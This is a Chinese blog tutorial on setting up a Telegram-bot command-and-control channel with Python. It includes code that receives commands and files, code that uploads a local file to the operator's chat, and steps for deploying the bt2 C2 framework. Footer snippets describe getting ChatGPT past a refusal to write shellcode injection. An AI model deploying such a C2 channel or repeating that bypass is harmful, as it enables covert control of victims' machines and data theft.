TG 下的C2创建过程

VSole2021-11-12 15:10:05

0x00:简介

没啥新技术,基本就是老技术。我这里只是做笔记,仅供学习。

0x01:环境部署过程

1、申请TG token

https://telegram.me/botfather

这里有api的调用文档

https://core.telegram.org/bots/api

2、利用python 调用 

#!python#!/usr/bin/pythonimport sysimport timeimport pprintimport telepotbot = telepot.Bot('you-token')print ('Listening ...')def handle(msg):    print(msg)def main():     try:        bot.message_loop(handle)    except Exception as err:        print (err)    while True:        time.sleep(10)if __name__ == '__main__':    main()

3、测试token 调用效果

(记得要国外服务器的运行脚本,不然运行没结果。我自己的没结果)

服务器上运行

到TG上去对你的机器人说话

Python脚本看到你的消息

4、 服务端到客户端

PS:建议看一下API文档在来看

提取文字消息

使用glance()可以从接收的消息中提取一个元组

(content_type,chat_type,chat_id)

content_type 包括

text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.

chat_type 包括

private, group, or channel.

所以我们可以使用glance()把接收的文字消息提取出来,代码如下:

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    
    if content_type == 'text':
        received_command = msg['text']
        print (received_command)        
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print (err)
    while True:
        time.sleep(10)
if __name__ == '__main__':
    main()

接收文件

执行接收消息的python代码,可获得接收文件的消息格式.

下载文件需要使用

bot.download_file(file_id, filename)
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    
    if content_type == 'text':
        received_command = msg['text']
        print (received_command)    
    elif content_type == 'document':
        file_id = msg['document']['file_id']
        filename = msg['document']['file_name']
        bot.download_file(file_id, filename)
        print ("[+] Download File Success!")
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print (err)
    while True:
        time.sleep(10)
if __name__ == '__main__':
    main()

5、 客户端到服务端

发送消息使用

bot.sendMessage(chat_id, message)

向Server端发送一条消息,代码如下

#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
bot.sendMessage(id, 'Hello C2 Server Jaky')

id换成你自己的ID

发送文件使用

bot.sendDocument(chat_id,file)

代码如下:

#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
f = open('/root/学习资料-种子.txt', 'rb')  
bot.sendDocument(id, f)

id换成你自己的ID

0x02:环境测试过程

1、搭建C2 Server

git clone https://github.com/blazeinfosec/bt2.git

2、编辑参数

编辑bt2.py

设置以下参数

API_TOKEN:token
BOTMASTER_ID:自己帐号的id

pythonchat
本作品采用《CC 协议》,转载必须注明作者和本文链接
模型允许有效理解自然语言,并使用潜在结果的概率分布。我们可以从以下两方面展开来看:1、ChatGPT 带来的网络安全新威胁首先,从开展网络攻击的角度来看,ChatGPT 这类生成式人工智能是偏向于威胁行为者的。其次,目前已经看到有威胁行为者正在使用 ChatGPT 来开发恶意软件。虽然 ChatGPT 的代码编写能力的质量结果好坏参半,但专门从事代码开发的生成式 AI 可以极大地加速恶意软件的开发速度。再者,ChatGPT 大大降低了威胁参与者基于技能的进入成本。
以机器学习为核心,ChatGPT使用2021年及更早收集的大量数据来生成响应。内容过滤器被触发,ChatGPT拒绝执行请求。发生这种情况是因为我们要求将shellcode注入explorer.exe中。有趣的是,通过要求ChatGPT使用多种限制并要求它做同样的事,我们收到了一个功能代码。到目前为止,我们已经看到ChatGPT可以为典型的勒索软件提供必要的代码,包括代码注入和文件加密模块。为了实现这一点,恶意软件包括一个Python解释器,它定期查询ChatGPT,以查找执行恶意操作的新模块。
像任何技术创新一样,生成式AI工具也有它的阴暗面,甚至可以被利用来危害人类的生活。在短暂的“蜜月期”之后,威胁行为者也在尽其所能地跟上新技术变革的步伐,并且在极短时间里就为爆火的ChatGPT聊天机器人创造出了各种各样的“邪恶孪生”(evil twins)。
ChatGPT最近添加的代码解释器让使用AI编写Python代码变得更便捷,因为它实际上已可以编写代码,然后在沙盒环境中运行代码。
然而,随着ChatGPT应用热度不断攀升,网络犯罪分子也在快速试验这项技术,并不断突破企业现有的安全防护界限。例如,一个名为“Chat GPT for Google”的ChatGPT扩展于今年3月开始广泛传播。今年2月,安全研究人员发现网络犯罪分子开发了一款假冒的ChatGPT应用程序,用于传播Windows和Android恶意软件。
前言在攻防演练中,通常会出现溯源反制的场景,我们这里假设已经连上了黑客的服务器,并且发现黑客的电脑中使用 了ToDesk的远程桌面软件,如果你自己的电脑中也安装了ToDesk,可以看到在ToDesk目录下会有一个config.ini文件该文件中记录了很多有趣的信息,其中包含downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户
简介ChatGPT近期以强大的对话和信息整合能力风靡全网,可以写代码、改论文、讲故事,几乎无所不能,这让人不禁有个大胆的想法,能否用他的对话模型把我们的微信打造成一个智能机器人,可以在与好友对话中给出意想不到的回应,而且再也不用担心女朋友影响我们?打游戏 工作了。基于ChatGPT的微信聊天机器人,通过 ChatGPT 接口生成对话内容,使用 itchat 实现微信消息的接收和自动回复。
ChatGPT不会掀起黑客技术革命
VSole
网络安全专家